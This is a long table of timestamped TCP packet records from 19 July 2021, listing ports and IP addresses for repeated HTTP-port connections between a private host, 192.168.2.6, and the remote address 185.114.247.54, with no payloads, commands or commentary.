Jul 19, 2021 18:36:04.141616106 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.141622066 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.141721010 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.141758919 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.141774893 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.141858101 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.141874075 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.141989946 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.142267942 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.142503023 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.142625093 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.142640114 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.143192053 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.143212080 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.143228054 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.143241882 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.223820925 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.223848104 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.223861933 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.223877907 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.223907948 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.223978996 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.223997116 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.224011898 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.227576017 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.227679968 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.228657007 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.233944893 CEST	80	49854	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.234036922 CEST	49854	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.320380926 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.320575953 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.322870970 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.364641905 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.364793062 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.364974976 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.365104914 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.437489986 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.438946962 CEST	49857	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.456581116 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.456729889 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.457185030 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.457573891 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.457685947 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.457870960 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.457952976 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.458213091 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.458230019 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.458267927 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.458292007 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.458739042 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.458811998 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.458842993 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.458893061 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.459213018 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.459618092 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.459642887 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.459722042 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.482129097 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.482259989 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.516663074 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.516761065 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.517194986 CEST	80	49857	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.518980026 CEST	49857	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.519926071 CEST	49857	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.549237967 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.549313068 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.550890923 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.551280975 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.551448107 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.554080963 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.554704905 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.600491047 CEST	80	49857	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.611758947 CEST	80	49857	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.612306118 CEST	49857	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.642878056 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.643150091 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.644634962 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.644764900 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.647927046 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.729248047 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.731298923 CEST	49858	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.731308937 CEST	49857	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.734834909 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.736819983 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.736932039 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.736948967 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.809802055 CEST	80	49857	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.810956955 CEST	49857	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.813880920 CEST	80	49858	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.814116955 CEST	49858	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.820705891 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.820952892 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.821008921 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.821021080 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.835187912 CEST	49858	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.883969069 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.912712097 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.912750006 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.912760973 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.912774086 CEST	80	49856	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.912966013 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.918395996 CEST	80	49858	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.930576086 CEST	80	49858	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.931150913 CEST	49858	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.966432095 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.966654062 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.969136000 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.969261885 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.969474077 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.969649076 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.047455072 CEST	49858	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.048796892 CEST	49860	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.051609039 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.051795959 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.051913023 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.052158117 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.052248955 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.052275896 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.052371025 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.052555084 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.052613020 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.052675009 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.052732944 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.052957058 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.053045034 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.053158045 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.053209066 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.053313971 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.053364038 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.053641081 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.053674936 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.053704023 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.053734064 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.129669905 CEST	80	49858	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.129770041 CEST	49858	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.134283066 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.134311914 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.134350061 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.134366035 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.134380102 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.134445906 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.134481907 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.134835958 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.134854078 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.134917021 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.134951115 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.135195017 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.135263920 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.135298967 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.135649920 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.135754108 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.135865927 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.136790991 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.145994902 CEST	80	49860	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.146136999 CEST	49860	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.148149014 CEST	49860	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.177561998 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.177699089 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.216506958 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.216536045 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.216600895 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.216635942 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.216645002 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.216769934 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.216998100 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.217017889 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.217220068 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.217392921 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.217699051 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.217823029 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.218054056 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.218980074 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.219156981 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.247575045 CEST	80	49860	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.259644985 CEST	80	49860	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.259697914 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.259712934 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.259843111 CEST	49860	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.299231052 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.299264908 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.299375057 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.299396992 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.299417019 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.299479008 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.307327032 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.307429075 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.368877888 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.369409084 CEST	49860	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.372138023 CEST	49861	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.452137947 CEST	80	49859	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.452208996 CEST	80	49861	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.452269077 CEST	49859	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.452383041 CEST	49861	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.453286886 CEST	49861	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.467989922 CEST	80	49860	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.468133926 CEST	49860	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.532012939 CEST	80	49861	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.532058001 CEST	49862	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.543212891 CEST	80	49861	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.543312073 CEST	49861	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.611879110 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.612127066 CEST	49862	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.614686012 CEST	49862	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.614805937 CEST	49862	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.615056992 CEST	49862	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.615186930 CEST	49862	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.652407885 CEST	49861	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.653919935 CEST	49863	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.693599939 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.693628073 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.693979025 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.694122076 CEST	49862	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.694246054 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.694529057 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.694607019 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.694618940 CEST	49862	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.694664955 CEST	49862	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.694776058 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.695111036 CEST	49862	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.695395947 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.695463896 CEST	49862	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.695890903 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.695965052 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.696172953 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.696173906 CEST	49862	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.696259022 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.696260929 CEST	49862	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.697000027 CEST	49862	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.733705997 CEST	80	49861	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.733840942 CEST	49861	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.734513044 CEST	80	49863	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.734607935 CEST	49863	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.735395908 CEST	49863	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.773673058 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.773852110 CEST	49862	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.773946047 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.773989916 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.774027109 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.774183035 CEST	49862	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.794152975 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.794337034 CEST	49862	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.814342022 CEST	80	49863	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.814376116 CEST	80	49863	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.814476967 CEST	49863	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.852724075 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.852756977 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.852772951 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.852787971 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.852886915 CEST	49862	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.873483896 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.873516083 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.873531103 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.873626947 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.873661041 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.931325912 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.931355953 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.931366920 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.931380987 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.931391001 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.931627989 CEST	49863	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.933137894 CEST	49864	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:05.940794945 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:05.943269014 CEST	49862	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.014928102 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.015259027 CEST	49864	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.015861988 CEST	49864	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.024009943 CEST	80	49863	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.024168015 CEST	49863	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.098328114 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.100138903 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.100222111 CEST	49864	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.157874107 CEST	49864	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.157985926 CEST	49864	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.158216953 CEST	49864	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.158305883 CEST	49864	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.228364944 CEST	49862	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.229952097 CEST	49865	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.239840031 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.239864111 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.239943981 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.240112066 CEST	49864	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.240154028 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.240237951 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.240251064 CEST	49864	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.240253925 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.240315914 CEST	49864	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.309602022 CEST	80	49862	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.309700012 CEST	49862	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.314039946 CEST	80	49865	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.314177036 CEST	49865	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.314884901 CEST	49865	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.322016954 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.322041035 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.322062969 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.322079897 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.322133064 CEST	49864	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.322175026 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.322240114 CEST	49864	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.322266102 CEST	49864	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.322295904 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.322367907 CEST	49864	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.322505951 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.399425030 CEST	80	49865	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.399458885 CEST	80	49865	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.399554014 CEST	49865	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.404921055 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.404949903 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.404966116 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.404980898 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.404997110 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.405100107 CEST	49864	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.406887054 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.488082886 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.488128901 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.488143921 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.488157988 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.488221884 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.497581005 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.497823954 CEST	49864	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.509829044 CEST	49864	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.591656923 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.606538057 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.607142925 CEST	49864	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.694325924 CEST	49864	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.694546938 CEST	49865	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.695539951 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.713387966 CEST	49867	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.780824900 CEST	80	49864	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.780936003 CEST	49864	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.781996012 CEST	80	49865	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.782190084 CEST	49865	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.792895079 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.792920113 CEST	80	49867	185.114.247.54	192.168.2.6
